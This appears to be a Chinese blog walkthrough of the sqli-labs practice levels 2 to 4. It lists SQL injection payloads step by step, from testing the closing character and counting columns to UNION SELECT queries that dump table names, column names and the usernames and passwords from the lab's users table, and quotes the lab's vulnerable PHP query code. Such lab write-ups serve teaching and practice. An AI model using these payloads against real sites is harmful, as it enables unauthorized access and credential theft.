sqli-labs Less 2-4 攻略
sqli-labs Less 2-4 的解题与Less1思路相同,只在闭合类型上存在少量区别,故直接提供解题过程,不再作详细解释。
对sql注入基本原理尚不了解的可以参考我的上一篇博客基于sqli-labs Less-1的sql联合注入详解 
Less-2
1. 判断注入类型
判定为数字型注入
?id=1 and 1=1 回显
?id=1 and 1=2 报错
2. 判断字段数
字段数为3
/?id=1 order by 1
/?id=1 order by 2
/?id=1 order by 3
3. 判断注入点
/?id=1 union select 1,2,3   数据回显,但是没有回显注入点
/?id=0 union select 1,2,3   回显注入点为2和3
4. 拆解数据库
/?id=0 union select 1,2,database()    数据库security
/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'          表名emails,referers,uagents,users
/?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  字段id,username,password
/?id=0 union select 1,group_concat(username),group_concat(password) from security.users 
Less-3
1. 白盒测试
就是闭合符合改成')了
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
2. 判断注入类型
判定为字符型注入
?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 错误
?id=1') 错误
?id=1')--+ 回显
3. 判断字段数
字段数为3
/?id=1') order by 1--+
'
/?id=1') order by 2--+
'
/?id=1') order by 3--+
4. 判断注入点
/?id=1') union select 1,2,3--+   '数据回显,但是没有回显注入点
/?id=0') union select 1,2,3--+   '回显注入点为2和3
5. 拆解数据库
/?id=0')union select 1,2,database()--+    '数据库security
/?id=0')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users
/?id=0')union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '字段id,username,password
/?id=0')union select 1,group_concat(username),group_concat(password) from security.users --+ 
Less-4
1. 源代码
相当于外面套了(""),把闭合符全部换成")即可
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
2. 判断注入类型
?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 回显
?id=1") and ("1")=("1 回显
?id=1" and ("1")=("1 报错
?id=1")      报错
?id=1")--+   回显
后续过程略

                
            
        
浙公网安备 33010602011771号